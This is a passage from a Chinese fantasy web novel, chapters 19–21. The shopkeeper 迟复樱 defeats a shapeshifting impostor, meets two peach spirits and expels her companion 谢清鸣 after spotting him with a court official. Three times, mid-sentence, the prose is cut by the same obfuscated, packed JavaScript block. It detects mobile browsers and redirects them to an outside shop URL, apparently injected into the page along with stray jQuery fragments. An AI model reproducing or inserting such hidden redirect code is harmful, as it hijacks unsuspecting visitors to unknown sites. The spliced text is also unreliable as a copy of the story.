有些美容院的营销人员,可以说是死皮赖脸,几乎接近骗子或□□。听说有人脱了衣服躺下按摩,她们就在床边围成一圈,开始喋喋不休地推销,仿佛人家今天不充钱,就不能穿衣服了。那家美容院的经理从不干此等掉价之事,而是用一台进口的高级机器为迟复樱做了身体检测,然后侃侃而谈,像闲聊一样提及每项问题的解决方案,例如肩颈肌肉酸痛应该做什么理疗、皮肤过敏应该做什么理疗……结果迟复樱深受吸引,根本不用她劝,就自愿购买那些项目了。
迟复樱用本土化的语言讲完后,三人见贤思齐,很快达成了共识,那就是浪花酒肆的确需要翻修。一家豪华的酒楼坐落在那里,里面还摆着别处没有的酒和点心,那么客人自己就愿意走进来,也会愿意开出高价。
正讨论得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468788|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
热火朝天时,迟复樱忽然听到有轻微的脚步声走进了酒肆。不是谢清鸣那种轻捷的步伐,而是略带拖沓和迟疑的步伐。她心里一紧,立刻捉住腰间的弹弓,沉声问道:“谁来了?”
金风哎呀一声,跳下房梁:“这么久没加把火,应该是结界失效了。”
迟复樱也跳了下去,只见一个干瘪瘦小的男孩站在楼门口。这男孩约有十一二岁,手揪着衣角,怯生生地说:“请问掌柜是哪位?我带了口信来。”迟复樱越过他的头顶,向院里看看,竟然没有虫子和蛇爬进来。金风跑到院外看了一眼,回头喊道:“已经退了。它们毕竟没有成精,闹不了多久的。”
迟复樱松了一口气,再看那小孩,和气地问道:“小弟有什么事?”
那孩子说:“我来替人传个口信,有人要订五十坛酒献给冥王。”
迟复樱先是大为意外,接着马上就想到了五木仙人。上回她托五木打听冥王的产业是否涉及酿酒,看来他还真给当个事办了,这就让小孩来传话了。她心头十分喜悦,脸上还维持着矜持的表情:“这酒是给冥王喝的?还是有别的用途?”
金风正返身往这边走,显然已经听见了二人的对话,不禁愣住了。男孩从怀中掏出一颗黑丸,举到迟复樱面前:“这酒,冥王宫里自有用途。订酒的人说了,酿酒时必须加这枚丸药。”
迟复樱一听,果然对上了,这酒不是为了给冥王喝,恐怕是他的某项产业需要用这酒做原料或药引,所以才点名要加丸药。想不到五木仙人表面摇摆不定,实际还颇为讲究,拿了半两银子,就真的替她从中运作,让她成了冥王的供应商。
她低声说:“借一步说话。”说着就往院门外走。金风明眸善睐,大概看出了端倪,一直盯着她看,她只得低头与金风擦肩而过。
走到街上一看,遍地都是行军后的马蹄痕迹,路边堆着不少支离破碎的死虫和死蛇。她一时反胃,不敢再看,又转身往院里走,正对上男孩身后的金风的眼睛。
迟复樱凑到她身边,对着她耳朵说:“其实我想向冥王卖酒,但不是以酒肆的名义,而是以我自己的名义。小风姐,都说富贵险中求,再说我还想知道冥王是什么样的。”
金风震惊地看着迟复樱,就好像听说她要去山里养老虎了。沉思了片刻,金风没当着男孩的面说什么,只说:“那我陪你一起听听。”
迟复樱对男孩说:“谈价钱之前,我还得多问一句,是谁托你来的?”
男孩说:“是订酒的人派我来的。”金风用怀疑的眼神盯着他,迟复樱也觉得心里没底,又说:“这里没有别人,你尽可以说出来,我也好感谢一下中间人。”
他正色道:“不可多说。订酒人与冥王有来往,岂能随意透露身份。他听闻冥王大人喜爱这里的酒,顺带也喜爱这间酒肆,所以才派我来采购,还叫我不要说出他的名字。我趁着酒肆开门之前过来,也是为了避人耳目。”
迟复樱笑眯眯地说:“是让你说中间人,又不是说订酒的人。”
男孩不慌不忙地答道:“说了中间人,姑娘也就知道订酒人了。”
“哎呀,”迟复樱忽然一拍脑门,“看我这记性,其实我知道中间人,他跟我提过你们。”
他微微愣了一下,就顺着她说道:“正是那位。那就请移步楼内,签订字据吧,定金会悉数付给您。”
金风立刻挡住他的路,脸色十分严峻。迟复樱嘻嘻笑道:“可是,中间人说你会报出暗号,有暗号才作数。”
男孩紧紧地抿起嘴唇,凝固了一瞬间,才毅然决然地说:“姑娘恕罪,订酒的人交待过,要您先说出暗号,我才能做应答。”
“这么谨慎啊?”迟复樱居高临下地看着他的眼睛,好奇地问道,“那你一开始怎么不问?”她的手被金风拉住了。
她知道金风也猜到了唯一的可能:面前的男孩是罪花。
19. 因果报
迟复樱出手异常迅捷。刹那间,转身逃窜的男孩被她一把擒住了。
她看着那张惶恐不安的童颜,微笑着说:“你不敢多说,因为你知道会穿帮,是么?”接着再也压制不住心头怒火,脸色骤变,痛骂道:“你到底有完没完?不知道事不过三的道理吗?非要让我把你打回一条泥鳅鱼,你才开心了?”
金风从男孩手里抠出那枚丸药,放到鼻子底下闻了闻,又用力一捏,将丸药整个点燃了。
这孩子还兀自嘴硬,试图做最后的挣扎:“还给我!那是加到酒里的,冥王大人喜欢的……”便拳打脚踢起来。迟复樱仗着自己人高马大,将他提起来往墙上一摁,两只手反剪他的双臂,一条腿牢牢锁住他的下盘。
燃烧过后,外层的伪装壳被烧去了,丸药变成了一颗小骷髅头,空洞的七窍里冒出森森的黑烟。金风双眉立起,向那男孩怒斥道:“这是梦里欢的球根!我老家那边种过这东西,肯定不会认错!”
见状不妙,男孩猛地爆出浑身的火光,想与迟复樱拼个鱼死网破。迟复樱只觉得一阵躁狂的大力袭来,几乎将她掀翻。
金风来不及去拿门闩,就从地上抓起一根粗壮笔直的树枝,嗖嗖地劈向男孩门面。趁着他闪躲的空档,迟复樱一手拽下腰间的弹弓,一手探向装弹丸的口袋。那支弹弓迎风一抖,唰地变成一柄钢叉的大小,油亮的木质闪着铜一般的光泽。
男孩就地打滚,刚避开金风的棍风,就被迟复樱的弹弓叉住了脖子。迟复樱用力一怼,把他推倒在地,弹弓的两个树杈与地面形成个圈套,牢牢地套住了他的脖子。他双手来掰弹弓,金风踏上一步,把树枝舞得密不透风,搅开他手上的动作,缠得他又是挥手又是蹬腿。
迟复樱忽然手臂一提,弹弓离开了他的脖子。男孩向上一蹿,跳起身来,金风大喝一声,用树枝绊住他的脚步。
那两人缠斗间,迟复樱手举弓架,胳膊笔直地伸向前方,另一手将裹着小抄的弹丸搭上兽筋制成的绳索,肘尖向后撞去,肩臂端成水平,弹弓霎时间拉到了全开。她呵斥道:“把你骗的钱拿出来,饶你一命!”
男孩不顾一切地向外扑了出去,越过了金风戳来的棍尖。
迟复樱倏地松开绳索,举重若轻。弹丸以破竹之势飞了出去,当啷一下打在他后心。这力道挟着多种法术口令,一冲就把他冲翻在地。地上的人现出了本相,正是酷似女童的罪花。
弹丸上不仅附着显形法术,更有迟复樱自创的泰山压顶、头疼脑热、颠三倒四和驱逐流放等法术。罪花伏在地上瑟瑟发抖,额角的胎毛都被汗水打湿了。
金风把树枝往地上一戳,从头到脚打量着这个女童,毫不客气地教训道:“你先天不足,只修成个孩童身形,还不思进取,净做这种苟且之事,那还能有出头之日么?”
在驱逐咒的作用下,罪花说不出话来,只是一个劲往远处爬,似乎是要迫不及待地远离酒肆。和人交过几次手之后,迟复樱的灵力已在不知不觉间大大增强了,完全可以再补上一招。
她紧握着双拳,看着罪花哆哆嗦嗦地站起来、一步一摔地跑向通往下城区的小路,突然不想再去追她了。她赢了,结果反而变得不快乐。
大打一架后,她的心脏还因为愤怒而狂跳着。她并没有感到胜利的光荣,而是感到无尽的空虚。真正送给她毒丸的人还隐身幕后,被这场惊蛰动乱保护着,她射出的箭没有伤害到他,她骂出的话更奈何不了他。而她刚才打败的不过是一个小喽啰,这个小喽啰诚然不算无辜,但又的确不是真正的罪魁祸首。
生平第一次,迟复樱发现赢得战争并不会让人扬眉吐气。因为良知令她懊恼,心里对自己的反思和谴责,就像绵延的黑水一样不可断绝,一直无休止地折磨着她。
方才她能肆无忌惮地撒泼斗狠,只是因为当时没有外人在场。但假如自己有个喜欢的人,她会希望那人看到她欺负别人的样子吗?这个念头刚一转出来,她就想到了谢清鸣。
迟复樱站在原地,只觉得身上越来越冷。金风一直在旁边看着她。奇妙的是,她倒不怕在金风面前丢人现眼。她无力地转过头,迎接着金风的目光。
金风的脸上竟然在微笑:“我们配合得不错。”又语重心长地说:“你刚才那招用得好,我看以后你可以专练弹弓,不必练别的武器了!这东西很适合你,因为你没有蛮力,更擅长巧劲;万一弹弓被对方夺去,也不像刀剑那么危险,否则你这小胳膊小腿的,打不过人家。”
迟复樱感受了一下隐藏在衣服下面的胳膊腿,胳膊像圆木,腿像笔直的桩子。她哭笑不得,企图洗刷自己刚来时给人留下的虚弱印象:“别担心,其实我还是有点力气的……”
金风突然哎呀一声,转身往回跑:“这事闹的,老韩还在房梁上呢,他下不来……”
迟复樱还颓废地站在原地。金风突然刹住脚步,回头说:“复樱!你别为崇德这事恼火了,你没做错什么。”
迟复樱的眼睛就像褪去一层灰尘,慢慢亮了起来。她像走路不稳的人重新找回了拐棍,说:“好的。”
金风跑回去解救韩无刃了。迟复樱独自沿着院墙徘徊,开始怀疑这世界的规则。当恶人才能交好运,这真是天地运行的真谛吗?会不会是人们自以为发现了真理,而实际她们看到的只是一些变形的、折叠的、被遮挡的东西?
走着走着,一个转身,眼前猛地映入一张细皮嫩肉的大脸,几乎和她鼻尖对鼻尖。迟复樱吓了一大跳,往后蹦了一步。
面前负手而立的,正是笑眯眯的五木仙人。迟复樱刚松了一口气,就听他说:“老夫有个好消息要禀告浪花大王。冥王那边的买卖,已经有了着落了。”
迟复樱尖锐地大叫一声,露出见鬼般的眼神:“真的假的?”
五木仙人说:“自然是真的。”
迟复樱说:“不,我是说,你是真的假的?”她已经怕了!是不是罪花变了个脸,又来骗她了?
五木仙人捻着不存在的胡子,纳闷地说:“在下怎能有假?方才我见到了昔日冥王手下的童子,以前他替冥王的买卖做事,还找我去帮他开设新铺子,因此我和他很有些交情!他说会替我留意打听一下,看冥王都做哪些行当的买卖,如果哪家铺子需要酒,他会从中斡旋的!”
迟复樱半信半疑,嘴上说道:“五木仙人果然朋友遍布天下,要不是您出手帮忙,我就算四处乱撞也打听不到这些内行的事!”实际她心里持保留意见,觉得这个喽啰听起来是冥王的某个买卖下的某个分店的伙计,和冥王隔了太多层,根本递不上话。
“哪里哪里,过奖过奖。”五木仙人话锋一转,“不过,这个童子倒是很好奇,为何有人要不遗余力地打听这件事?好在我给搪塞过去了,我深知你们买卖人讲究事以密成。”
迟复樱连忙一通道谢,在自己荷包里摸了摸。那点碎钱要是拿出来作为报酬,实在像是寒碜人家。她只得干笑着说:“仙人太费心了。要是我接了冥王的订货单子,都得拿出三成利润送给仙人,略表我的心意。”
五木仙人立刻往后一顿,连连说道:“哎呀呀,你这,哎呀,这真是……”为着尚未兑现的好处推辞了一番后,他就告辞了。
长街上的商户都陆陆续续开张了。兵卒稀稀拉拉地走过,清除着路边堆积的虫尸和蛇尸。崇德和罪花没再出现,但她已然杯弓蛇影。她在绸带般的桃林中站定了,伸手轻轻触碰着灼灼的桃花。一季一季花开无穷,冤冤相报又会何时了?
忽然间,金光一闪,她手指
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468789|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尖触碰的不再是花瓣,而是浅粉色的绸子衣袍。顺着衣袍往上看,树枝上跪坐着一对穿粉色衣服的年轻人。
其中那个女孩长得笑眉笑眼,正是鬼市里的粉衣少女。见迟复樱还没收回手指,她就点了一下迟复樱的手,然后微微缩着脖子,以袖掩唇,嗬嗬笑了起来。旁边那个公子则有二十出头了,举止做派十分内敛,轻轻点头致意。
迟复樱急忙收回指着人家的手,问:“二位是桃……桃仙吗?”以前跟外部机构对接,叫人要叫高一级,以示客气。实习生都能给叫成经理,现在说人家是仙,应该准没错。
那个小姑娘又捂着下半张脸笑起来:“我们是桃妖。这是我哥哥,他叫桃幺,幺二三四五的幺。”
迟复樱就像久仰其名一样啊了一声,招呼道:“桃幺公子,您好。”她担心这个小姑娘不会叫桃二吧?幸好那小姑娘说:“我叫桃双,你叫浪花大王,我还记得你,你记得我吗?”
迟复樱说:“当然记得,可惜那个卖簪子和胭脂的人跑了,我还是没能从她手里追回你的钱,抱歉抱歉。”
“这有什么,我不是来追钱的。”桃双轻盈地跳下树枝,她哥哥也跟着轻轻落地。
彼此平视着,迟复樱才注意到桃幺的衣服上打着不显眼的补丁,颜色粉里发白,几乎让人怀疑那是找别的桃花借的。桃双的衣服款式十分简单,头上没有首饰,但全身倒是没有一点补丁。
桃幺含蓄地低下头,终于开口了:“我是专门带我妹妹来道谢的,多谢姑娘那天仗义出手,才没让我妹妹误食毒花……”
桃双气愤地说:“我又不是小孩了,怎么会误食毒花?我都说了,那胭脂是替哥哥你买的!”
桃幺闹了个大红脸,迟复樱打着圆场说:“桃幺公子长得一表人才,用点胭脂也是锦上添花。”
他急忙举手说:“姑娘,你误会了,我没有这种习惯。胭脂的确是妹妹买给我的,但不是用来涂脸的。”
桃双欢快地说:“是用来染衣服的。我想把我哥哥衣服上的补丁染一染,就和原本的布料一个颜色了。”
桃幺轻轻拍了一下她的脑袋,又对迟复樱笑着说:“我可以穿有补丁的衣服,但我妹妹不行,我要让她穿得整整齐齐的。”桃双微微低着头,像是满心愧疚和甜蜜,又像是要忍不住流下眼泪。
迟复樱一下觉得十分辛酸,就问:“公子平时在上城区活动?”
桃幺微微颔首,说:“惭愧,我平时教富贵人家的幼童认字,勉强能谋生。姑娘的恩情,我无以为报,如果以后有需要我做的……”
迟复樱心里一动,连声说:“有的有的!还真有一事要请公子帮忙!”
“……”
“请公子以后帮我留意,上城区里是否有人熟悉冥王……的产业?”迟复樱再次搬出那套话术,侃侃而谈道,“是这样的,我想去上城区酿酒,可我不熟悉那边的地方关系,怕得罪了冥王手下的铺子,所以才问问。”
桃幺爽快地答应道:“我一定尽我所能去问。”桃双在一旁说:“冥王的铺子都很气派的,你见了就知道了。”
迟复樱说:“那真是太厉害了。要是我能把我酿的酒献给冥王的铺子,就是我的福分了。”
桃幺含着笑说:“我会一并替你留意的。”
不等迟复樱说出那堆感谢的客套话,兄妹俩竟挥手离开了。走着走着,两人忽然飘了起来,像风中的花瓣一样,很快就消失在长街尽头。
迟复樱定定地看着,一时间心中开阔了许多。五木仙人那条线不知能否走通,桃幺这条线就接上了,岂非是东边不亮西边亮?
忽然听见背后有人冷冷地问:“还没看够?”
她转过头,谢清鸣不知何时来到了她的身后。
20. 翻天地
迟复樱奇道:“你什么时候来的?你不是去屋顶睡觉了吗?”
谢清鸣冰凉地说:“我说了,我是去见了个人,办了点事,什么时候去睡觉了?”
迟复樱哦了一声。谢清鸣又忿忿不平地问:“你怎么不问我去见的谁?你就一点不好奇?”
“你又不像我失忆过,认识的人当然比我多了,见几个人有什么稀奇?”迟复樱按着太阳穴说,“我哪知道你见的是谁?你跟人说什么机密的话了?故意诈我呢吧?你放心好了,我真的什么都没听见。”
谢清鸣憋了半晌,挤出一句:“你是只顾着看那个粉衣服的小白脸了吧?一口一个公子,还要他给你帮忙。”
由于刚和罪花大战一场,迟复樱此刻无精打采,摆着手说:“那我也叫你公子,行了吧?我今天心烦得很,不想跟你争大王。”
谢清鸣直直地盯着她,忽然话锋一转:“你为什么要托那个男妖精打听冥王的买卖?你还找了谁?五木仙人?”
迟复樱眉心突地一跳,试探着问道:“五木仙人怎么了?他说什么了?”五木向来左右逢源,遍地交友,如果他到处跟人说浪花大王想给冥王酿酒,那岂不是市井皆知有个酿酒短工妄想给冥王溜须拍马?
不知怎地,谢清鸣看起来怒气沉沉。迟复樱脑子一转,立刻就明白了他的心思:这小子是怕她投到冥王门下,反手就把他去冥王宫里偷盗的事给举报出来。她哈哈一笑,反问道:“如果冥王那里有生意,谁不想做呢?”
他的眉毛压得很低,像两笔险峻的墨迹,迫使眼睛变得更加幽深:“你为什么总打冥王的主意?想去偷他的宝库也就算了,打探他的买卖,又是为了什么?”
“误会误会,我哪有打探冥王的买卖?不过是好奇冥王有哪些产业罢了。我是做生意的,如果不摸清这些,哪天得罪了他老人家手下的铺子怎么办?”迟复樱半笑不笑地抱起手臂,“再说了,我说我想绑架他,打垮他的生意,你信么?”
真真假假,假假真真,谢清鸣的脸色看起来更加阴郁了。他怀疑地说:“你这样的小掌柜,是得罪不着冥王的,我猜你也清楚这一点。”
这下可戳了迟复樱的肺管子,她心头一阵刺痛,嗓音也生硬起来:“我知道我本事不如他,所以醒了这么久也干不成事,还是成天在这片打转。你也不用提醒我,你自己不也是靠着偷他的东西,才过得这么体面?”
谢清鸣气极反笑,森然地说:“看来你是觊觎他的权力了?”
“没有的事。”迟复樱一挥手,“我其实是仰慕冥王。将来要是能在他旁边侍奉他,姐们一定提携你一起,你呀,就把心放回肚子里吧。我的为人,你还不清楚吗?”
谢清鸣气得一甩下摆,转身绝尘而去。大步流星地冲出去一段,又猛地转头盯着她:“你就那么喜欢冥王?一个你根本没见过的人,有什么可喜欢的?为什么不喜欢点实实在在的?”
这几句话没头没脑,迟复樱无心敷衍,嗐了一声,就拖着疲劳的脚步回楼去了。谢清鸣还站在原地,定定地看着她与自己擦肩而过。
金风和韩无刃已经把板凳都放下来了,酒肆恢复了正常营业。迟复樱顺手拿起那根从鬼市上买的竹中剑,把玩了一会儿,费了九牛二虎之力也没拔开剑鞘。又在水缸旁边坐了一会儿,有心要酿几坛酒,却怎么都集中不了精神。
她的确在这个世界里逗留了太久。每当她找到五木和桃幺等人帮忙,就会感到强烈的满足和安慰,好像自己已经迈出了重要的一步。可实际上她的计划几乎毫无进展。回家的路途遥远而渺茫。
她索性拿上竹中剑去找谢清鸣,准备叫他把这剑拔出来。想来他看在这件礼物的份上,也能跟她和好如初。
去前后院转了一圈,没见到谢清鸣的人影,迟复樱毫不犹豫地跃上高高的屋顶。正想绕过面前的烟囱,忽然听见有人压着嗓子说:“君主这些年来的心意,阁下是知道的。您可以随时光顾明君宫,君主时刻静候您的佳音。”
这声音细声细气的,十分陌生。迟复樱一愣,立刻收回脚步,在烟囱的掩护下,小心地探头张望。
一个身穿华美衣袍的人立在屋顶上,只留给她一个背影。迟复樱对着他打量几眼,猛然意识到那身衣服是官服。不同于税官和捕快那类大头兵的官服,这套衣服质地考究、款式繁复,大红袍子的圆领压着雪白的内衬,腰间一条玉带,是这里的一品大官才能穿的制服。
迟复樱一下就想起了崇德、那个兵头、还有那个捕快……刻在记忆里的厌恶和惊恐,如洪水破闸般喷薄而出,让她不寒而栗。几乎像条件反射一样,她对眼前的人充满了敌意和仇恨。她两手抓紧了竹中剑,心里惴惴不安,不明白这位朝廷命官为何出现在酒肆的屋顶上。他在对谁说话?
那大官沉默了片刻,又悄声说道:“阁下有什么吩咐,尽管告诉在下。”
一个冰冷的声音突然出现了:“不用。”
迟复樱的心脏大大地跳了一下。这是谢清鸣的声音。
她冒险探出一截身体,这才越过了大官的遮挡,看见坐在房檐边缘的谢清鸣。
他两腿垂挂在屋檐下,眼望长空,背对大官,看都不看他一眼。三人的站位,完美地符合一句老话:螳螂捕蝉,黄雀在后。
尽管受到怠慢,大官还是袖着手,恭敬地说道:“那么,就拜托阁下了。君主增收赋税,还借了百年的□□,可说是坐拥无尽荣华。若阁下办成此事,定能共享这份风光。”
谢清鸣说:“知道了。让他等着吧。”
看这架势,是答应替君主办事了。迟复樱急忙把耳朵往前凑,想听听君主拜托他什么。是不是因为他了解冥王宫的地形,所以受君主倚重?如果将来她要帮冥王的商队对抗君主,岂不是绕不开谢清鸣这个对家了?
可惜那大官没再多说一句,只是对着他的背影长揖到地,然后从袖中掏出一把折扇,向空中一抛,踏着扇面就飘飘忽忽地飞走了。
趁着谢清鸣没有回头,迟复樱悄然跳了下去。直到躲进后院的树荫下,她的心脏还在剧烈地跳着。愤怒像一把火一样烧了起来,直冲天灵盖。
谢清鸣和君主有勾结,连一品大官都要对他礼让三分,可他从来都没告诉过她!君主那帮人是什么人?根本就是盘剥民众的蛀虫。如果早知道他是君主的走狗,迟复樱绝不会跟他打交道。恐怕他自己对此也心知肚明,所以卑鄙地隐瞒了这一点。
惊蛰已过,兵头和捕快那带着讥讽的笑脸依然清晰地浮现在她眼前。她浑身起了一层鸡皮疙瘩,恨意涌上心头。
巨大的失望和失落,像坍塌的天空一样压了下来。
转念一想,迟复樱又怀疑谢清鸣只是在假意敷衍大官,毕竟他看起来还挺拿大,头都不回一下。只是,如果他敢一直拖着不作为,君主又怎么会留着他,还对他毕恭毕敬?恐怕会直接杀了他,以免他带着情报去投靠冥王。
如果这样猜下去,可以编织出无数种可能,但即使苦苦思索一宿,也无法确定自己的猜想是不是符合事实。既然不能确定对错,那猜下去还有什么意义?迟复樱可不想猜一宿,就直接转身去找谢清鸣套话。
一转身,谢清鸣就站在她眼前。
迟复樱心里忽悠一下,表面还装作很平常的样子,笑模滋儿地点了点头。
谢清鸣脸上没有表情,平淡地问道:“怎么不去屋顶了?”
迟复樱一脸糊涂地问:“我去屋顶干什么?”
谢清鸣陷入了沉默。半晌,他才说了一句:“我还当你是个痛快的人。”
迟复樱的笑容差点就绷不住了。他到底是看见她蹲在房顶,还是又在诈她?她带着一脸傻气的笑容,把翠竹递了过去:“哦,说正经的,我想找你帮我拔出这支竹中剑。”
对面的人静静地站着,没有伸手。迟复樱的手又缩了回来。她毫不在意地说:“我托了桃幺公子帮我打听生意,看看能不能多赚点钱。你和你那些朋友呢?互相求着办事的话,要给多少酬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468790|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢?”
他冷冷地说:“我没有朋友。”
“哈哈哈,难道咱们酒肆里的人不是你的朋友?”迟复樱东拉西扯地说道,“话说回来,我肯定也要给桃幺公子感谢费的。你跟人谈什么事?报酬怎么算?也让我参考参考嘛,为什么神神秘秘的?”
谢清鸣反问道:“那你又为什么总想杀冥王?我原本看你是个三脚猫功夫,不像是想要造反的人。难道你也看中了冥王的泉眼?”
迟复樱冷笑道:“呵呵。”她算是看出来了,谢清鸣根本不打算跟她说句实话。
如果他松一松口风,她还准备继续和他扮演朋友,将来从他这里套取君主方面的动作。可惜他这狗腿子当得兢兢业业,恐怕非但没有敷衍君主,反而替他去干那些欺压百姓的事呢。
她几乎要对他满心厌恶。那个骑着白马飞上天空、仿佛手可摘星的青年男子,最后怎么成了一个满手污泥的人?
谢清鸣静静地说:“看吧,你也有秘密,不是么?”
古人云,说话要三分真七分假,此时万万不能承认自己算计冥王。迟复樱说:“我说我要绑架冥王,你还真信?谁看不出来这是开玩笑!我看你这人鬼鬼祟祟的,倒是很可疑,你靠着小偷小摸,就能穿上这么好的衣服?还戴个玉环儿扮靓?你是替权贵们做了见不得光的事吧!搞不好,是你想杀冥王,还贼喊捉贼!”
谢清鸣说:“如果真是那样,我现在就该动手灭口了。”
迟复樱猛地撤步架剑,带起的风如吹雪般吹开了无数花瓣。一时间乱花急飞,喧腾如雨。
她大义凛然地说:“没用的,你敢把我灭口,我就能让整条街的人都知道你要杀冥王。实不相瞒,我已经把方才的说话声刻进花瓣里了,这会儿花瓣已经飘出去了。”
她得意地伸出大拇哥,指了指自己发髻边的樱花,果然两朵变成了一朵。她说:“现在花瓣不会泄露秘密,是因为我的意念在控制它们。等我一死,约束解除了,可就不好说了。”
“你果然不是善类。”谢清鸣盯着她的眼睛,轻声说道,“你到底是什么人?你既对冥王不轨,又对君主不服,那你只能是樊四樊字号的人了?”
这回迟复樱真听不懂了,大声说:“什么樊四?我不知道!你别给我安罪名!我哪里得罪你了?你竟然要这么算计我?”
谢清鸣刚说了一句:“交待清楚,我就放你一马——”
便有道翠绿的竹影一闪而过。迟复樱以闪电之势向他挥出竹中剑,虽然是套着剑鞘的,也着实让他一惊。谢清鸣闪身让过剑风,劈手去夺剑,迟复樱却一扬手就扔了剑,让他抓了个空。衣袂翩飞之间,她另一只手向腰间一探,将弹弓抓在了手里。
一阵凌厉的劲风像刀一样砍来,原来是谢清鸣一掌劈出。迟复樱动作比他更快,早已拔地而起,一脚踢开他的手,虚虚点落在树梢,顺便薅了一根粗枝当作箭矢。手持钢叉般的大型弹弓,迟复樱张弓搭箭,居高临下,毫不客气地瞄准了谢清鸣。
谢清鸣气得脸更白了,垂在身侧的两拳紧紧握着,难以置信地问:“你用弹弓射我?”
“岂止是射你,我还要赶你呢!”迟复樱现在终于明白五木仙人为什么硬是把这小子送人了,他就像一枚随时都可能爆炸的地雷,谁接手,谁就会倒霉。她喝斥道:“还不快走!五木还欠我们一两半的银子,我也不用你赔,乱账一笔勾销,从此咱们井水不犯河水!”
打斗的动静惊动了金风。她从后门跑出来,看着院里对峙的两个人,目瞪口呆。
谢清鸣垂头站在原地,看起来他的自尊已经被践踏得粉碎。他缓缓地说:“走就走,算我认识了你。”
咻地一声,迟复樱一箭射到他脚边,树枝深深地扎进青石板之间的缝隙里。她说:“你哪来那么多废话?赶紧走!”
他最后看了她一眼。砰地一声,白烟弥漫开来,后院里充斥着浓郁的云雾。待到雾气散去,后院的白衣人,前院的白马,都杳然无踪了。
21. 战风起
后院那棵折断的树已经被迟复樱接上了,蓬勃如云的新叶中,夹杂着片片枯黄的老叶。酿完今天的酒之后,她对着这棵树苦练弹弓,一直从正午练到日影偏西。
每当风吹落树上的老叶时,迟复樱就嗖嗖打出弹丸,力求瞄准坠落过程中的黄叶。最后,她已经能用一把细小的沙砾同时打中六十步开外的数片飞叶。
只要一闲下来,就会想起谢清鸣消失前看向她的眼神。两人的初见就始于一场欺骗,这个小贼从屋顶上看见她在后院练功,也看见金风和韩无刃安慰她这个“掌柜”,便自然而然地认为这家酒肆的管理架构较为疏松,掌柜是个灵力不足的软蛋。所以他一得到机会,就把自己调过来躲清闲,还装作不认识她的样子,简直是诡计多端!
但话又说回来,她自己不是也一直没有对金风和韩无刃袒露自己的身世吗?现在她开始担心,自己是不是也欺骗了她们?
那个小贼内心冷漠,缺乏助人情节,却实打实地帮了她好几次。越是这样想下去,迟复樱就越是难以理解,一个好好的小混混怎么会去当君主的走狗?他怎么能背弃自己所处的阶层,去讨好那个腐朽的朝廷?
更不用说她跟那些官差发生龃龉时,有那么多个时刻,他可以说出自己和统治者的关系,却一次都没有开口。她不是推崇连坐思想的人,如果他亲口对她说了自己的身份,她是不会和他反目成仇的,反而会好好地拉拢他,把他发展成可以依赖的线人。
风停了,迟复樱的弹弓也停了下来。后院里静得像一潭春水,土狗和大鹅都趴在廊下,彼此相安无事。本来,这是一个多么安宁的春天的午后。
不知是不是错觉,她仿佛听见房顶上响起了窸窸窣窣的声音,好像有人轻轻地走过来,又走过去。
迟复樱猛地仰头看去,却只能看见陈旧的屋檐,和屋顶下半部分那如同裙摆一样的瓦片。酒肆的楼像矗立的塔,屋顶就像高远的塔顶,那上面的景象在她的视角之外。
不及多想,迟复樱纵身跃了上去。刚一踏上房顶,就看见一红一紫两道身影在齐心协力地修补瓦片,正是金风和韩无刃。迟复樱失望地噢了一声,泄气地坐了下来。
韩无刃招呼道:“复樱,上来晒太阳啊?”他修补瓦片很有技巧,只需要把瓦片拿起来抻一抻,拍一拍,指尖冒出的蓝光就会像炼丹的火一样舔舐着瓦片,很快就将瓦片变得完整如新。
然后再用迟复樱酿的浆糊涂抹瓦片,把它粘回到屋顶,用法术稍微加固,就算补好了一处。只是拉伸过后的瓦片难免会变薄,如此修补过几次之后,就得彻底更换一片瓦。
金风的主要任务是在旁边抄扶不会轻功的韩无刃,必要时拎一拎他,防止他失足跌落下去。
迟复樱失魂落魄地坐在一旁,金风大概是以为她还在为自己赶跑员工而懊恼,就说:“复樱,咱们不是说过好几次了吗?谢清鸣这个事,你做得没错,别再闷闷不乐了。”
韩无刃也说:“换成是我,我也当场把他赶走!天杀的,弄这么个奸细放在酒肆里,不是太危险了吗?我们哪天说错了话,被他报官了怎么办?他成天看着咱们赚了多少钱,万一哪天告诉税官怎么办?虽然他上次帮忙揍了税官吧……但他们毕竟是一派的!他们那样的人,跟我们是不一样的!当恶棍才能走运,你可别忘了我告诉你的哇。”
那两人你一言我一语,说得有来有回。在这相声似的对话里,迟复樱的眼神逐渐回归了冷静清明。原本笼罩在头顶的焦躁,像脱帽一样脱去了,迫在眉睫的正经事重新占领了大脑。
迟复樱几乎有点纳闷,自己这几日怎么会为这种闲杂小事愁眉不展?她每天忙着回家还忙不赢,绝不是游手好闲、伤春悲秋的人,早就该把这事丢开了。
